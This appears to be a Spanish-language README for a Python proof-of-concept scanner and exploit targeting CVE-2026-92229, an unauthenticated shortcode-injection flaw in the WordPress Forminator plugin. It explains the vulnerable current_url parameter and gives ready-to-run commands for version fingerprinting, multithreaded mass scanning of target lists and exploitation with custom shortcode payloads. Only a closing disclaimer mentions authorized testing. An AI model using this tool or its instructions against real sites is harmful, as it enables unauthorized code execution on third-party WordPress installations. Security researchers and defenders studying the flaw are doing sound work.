
Escáner PoC y exploit en Python 3 para CVE-2026-92229, una vulnerabilidad de ejecución arbitraria de shortcode sin autenticación en el plugin de WordPress Forminator versiones 1.57.2 e inferiores.
PoC en Python 3, escáner/exploit para CVE-2026-92229 en Forminator (WPMU DEV).
| Plugin | forminator |
| Afectados | ≤ 1.57.2 |
| Corregido en | 1.57.3+ |
| CVSS | 9.1 (Crítico) |
| Autenticación | No autenticada |
| Vector | Parámetro POST current_url (AJAX de quiz) |
| CWE | CWE-94 (Inyección de Código) |
| Crédito | Kuba (Wordfence) |
En las versiones vulnerables, el current_url proporcionado por el usuario se refleja en el HTML del resultado del quiz (por ejemplo, atributos de compartir en redes sociales) y el búfer de respuesta se procesa con do_shortcode() de WordPress. Un atacante no autenticado puede enviar un quiz a través de admin-ajax.php con un current_url malicioso que incruste shortcodes arbitrarios.
Acciones AJAX principales:
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes (vista previa; --preview)Corregido en 1.57.3 limitando la ejecución de shortcodes a los campos de texto previstos en lugar de todo el búfer HTML.
pip install -r requirements.txtpip install -r requirements.txt
# Detect plugin, version, public Forminator modules (quiz answers when parseable)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (auto nonce + quiz answers when possible)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Preview submit (no stored entry, same code path)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Manual quiz answers if HTML parsing fails
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| Opción | Descripción |
|---|---|
-u, --url | URL base de un único objetivo |
--list | Archivo con una URL por línea |
--mode | check (por defecto) o exploit |
--page-url | Ruta o URL de la página que contiene el formulario |
--form-id | ID del módulo de Forminator |
--form-type | quizzes, custom-forms o poll |
--answers | Respuestas del quiz como question_id:answer_id,... |
--shortcode | Payload de shortcode (envuelto en [caption]…[/caption] dentro de current_url) |
--preview | Usar la acción AJAX de vista previa |
--threads, -j | Concurrencia del escaneo masivo (por defecto 20) |
--output | Resultados en JSONL (por defecto cve_2026_92229_results.jsonl) |
--vuln-list | Archivo de texto para los aciertos de check (por defecto hits.txt) |
--candidates-list | Metadatos JSONL para checks explotables (por defecto candidates.jsonl) |
--quiet | Menos ruido de progreso en ejecuciones masivas |
| Archivo | Contenido |
|---|---|
cve_2026_92229_results.jsonl | JSON por objetivo (status, version, modules, …) |
hits.txt | URLs base con exploitable_candidate: true |
candidates.jsonl | Detalles de aciertos: form_id, page_url, form_type |
status| Status | Significado |
|---|---|
candidate | Versión vulnerable + quiz con respuestas parseadas |
form_no_quiz_answers | Formulario encontrado pero las respuestas del quiz no se parsean automáticamente |
plugin_no_public_form | Plugin presente, ningún módulo público descubierto |
patched | Versión ≥ 1.57.3 (o major más reciente) |
no_plugin | Forminator no detectado |
exploitable_candidate solo cuando las answers[qid] del quiz pueden parsearse desde el HTML (muchos sitios usan quizzes renderizados con JS → usa --answers o el exploit manual).[caption])..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Las listas locales de escaneo masivo (por ejemplo list.txt, exportaciones de FOFA, resultados *.jsonl) están incluidas en .gitignore y no deben subirse al repositorio.
Solo para pruebas de seguridad autorizadas. Eres responsable del cumplimiento de las leyes aplicables y las reglas del programa.